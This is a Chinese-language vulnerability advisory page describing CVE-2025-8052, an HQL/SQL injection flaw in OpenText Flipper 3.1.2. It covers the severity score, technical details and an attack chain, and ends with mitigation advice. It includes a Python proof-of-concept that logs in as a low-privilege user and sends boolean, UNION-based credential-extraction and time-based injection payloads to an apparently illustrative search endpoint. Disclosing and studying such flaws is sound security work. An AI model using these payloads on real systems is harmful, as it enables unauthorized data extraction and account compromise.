IPBUF安全漏洞报告
English
CVE-2025-8052 CVSS 8.8 高危

CVE-2025-8052:OpenText Flipper SQL注入漏洞

披露日期: 2025-10-20

漏洞信息

漏洞编号
CVE-2025-8052
漏洞类型
SQL注入
CVSS评分
8.8 高危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
OpenText Flipper

相关标签

SQL注入HQL注入OpenTextFlipper高危漏洞CVE-2025-8052数据库安全企业内容管理

漏洞概述

CVE-2025-8052是OpenText Flipper 3.1.2版本中存在的一个高危SQL注入漏洞。该漏洞源于Flipper应用程序未能对用户输入进行充分的过滤和转义处理,导致低权限用户能够通过HQL(Hibernate Query Language)处理器与底层数据库进行非预期的交互。攻击者可以利用此漏洞执行恶意SQL查询,从而绕过应用程序的访问控制机制,提取数据库中的敏感信息,甚至可能修改或删除数据库内容。

根据CVSS 3.1评分体系,该漏洞的评分为8.8分,属于高危级别。漏洞的攻击向量为网络(AV:N),攻击复杂度低(AC:L),仅需要低权限认证(PR:L),无需用户交互(UI:N),对机密性、完整性和可用性均产生高影响(C:H/I:H/A:H)。这意味着远程攻击者在获得低权限账号后,可以轻松利用此漏洞对系统造成严重破坏。

该漏洞由[email protected]团队发现并报告,于2025年10月20日公开披露。OpenText作为全球知名的企业信息管理解决方案提供商,其Flipper产品在企业内容管理领域有广泛应用,因此该漏洞可能对使用该产品的企业带来数据泄露和安全合规风险。建议受影响用户尽快关注官方补丁更新,并采取相应的防御措施。

技术细节

该漏洞的核心问题在于OpenText Flipper 3.1.2版本中使用HQL(Hibernate Query Language)作为数据库查询语言时,未对用户可控的输入参数进行充分的验证和参数化处理。HQL是Hibernate框架提供的面向对象的查询语言,类似于SQL但操作的是实体对象而非数据库表。

在正常情况下,Hibernate框架应通过参数化绑定(PreparedStatement)的方式来防止SQL注入攻击。然而,当应用程序直接将用户输入拼接到HQL查询字符串中时,攻击者可以通过注入恶意的HQL/SQL片段来操纵查询逻辑。

漏洞利用方式如下:
1. 攻击者首先需要获取Flipper系统的低权限用户凭证(通过钓鱼、凭证填充或其他方式获得);
2. 攻击者使用合法凭证登录系统;
3. 攻击者识别系统中存在HQL注入的输入点(可能是搜索框、表单字段或其他接受用户输入的功能模块);
4. 攻击者在输入字段中注入恶意的HQL语句,例如使用UNION SELECT、布尔盲注或时间盲注等技术;
5. 恶意查询被执行后,攻击者可以绕过权限限制,访问未授权的数据,或提取数据库中的敏感信息(如用户凭证、个人信息、业务数据等)。

由于该漏洞仅需要低权限即可利用,且无需用户交互,攻击者可以在获得任何合法账号后自动化地利用此漏洞,对系统安全构成严重威胁。

攻击链分析

STEP 1
步骤1:获取凭证
攻击者通过钓鱼攻击、凭证填充、数据泄露或其他社会工程学手段获取OpenText Flipper系统的低权限用户账号。
STEP 2
步骤2:身份认证
使用获取的低权限凭证登录Flipper系统,建立合法的认证会话。
STEP 3
步骤3:识别注入点
通过探测系统功能接口(如搜索、筛选、查询等功能),识别接受用户输入并将其传递给HQL处理器的参数点。
STEP 4
步骤4:构造注入Payload
根据识别的注入点,构造恶意的HQL注入Payload,使用UNION查询、布尔盲注或时间盲注等技术。
STEP 5
步骤5:执行注入攻击
将构造的Payload通过HTTP请求发送到目标服务器,触发HQL注入漏洞执行恶意查询。
STEP 6
步骤6:数据提取与权限提升
通过注入漏洞绕过访问控制,提取数据库中的敏感信息(如管理员凭证、业务数据等),并可能进一步提升权限或造成数据篡改。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# CVE-2025-8052 - OpenText Flipper HQL/SQL Injection PoC # Vulnerability: SQL Injection via HQL Processor in Flipper 3.1.2 # Requires: Low-privilege authenticated session import requests TARGET_URL = "https://target-flipper-server" USERNAME = "low_priv_user" PASSWORD = "password123" # Step 1: Authenticate to obtain session session = requests.Session() login_data = { "username": USERNAME, "password": PASSWORD } session.post(f"{TARGET_URL}/login", data=login_data) # Step 2: Identify injectable parameter (example: search endpoint) # The vulnerable parameter is passed directly into HQL query without sanitization INJECTION_PAYLOAD = "' OR '1'='1" # Step 3: Exploit - Boolean-based HQL injection to extract data # Example: Extracting database version or sensitive table contents params = { "searchTerm": INJECTION_PAYLOAD } response = session.get(f"{TARGET_URL}/api/search", params=params) print(f"Response status: {response.status_code}") print(f"Response body: {response.text}") # Step 4: UNION-based injection to extract data from other tables UNION_PAYLOAD = "test' UNION SELECT username, password FROM users--" params_union = { "searchTerm": UNION_PAYLOAD } response_union = session.get(f"{TARGET_URL}/api/search", params=params_union) print(f"Extracted data: {response_union.text}") # Step 5: Time-based blind injection for data exfiltration import time TIME_PAYLOAD = "test' AND SLEEP(5)--" params_time = { "searchTerm": TIME_PAYLOAD } start_time = time.time() session.get(f"{TARGET_URL}/api/search", params=params_time) elapsed = time.time() - start_time print(f"Time-based injection confirmed: {elapsed:.2f}s delay")

影响范围

OpenText Flipper 3.1.2

防御指南

临时缓解措施
在官方补丁发布前,建议采取以下临时缓解措施:1)限制Flipper系统的网络访问范围,仅允许可信IP地址访问;2)审查并监控所有低权限用户的异常数据库查询行为;3)部署WAF规则阻断常见的SQL注入Payload;4)对数据库进行最小权限配置,限制应用账号的数据库操作权限;5)加强用户凭证管理,定期更换密码,启用多因素认证以防止凭证泄露。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表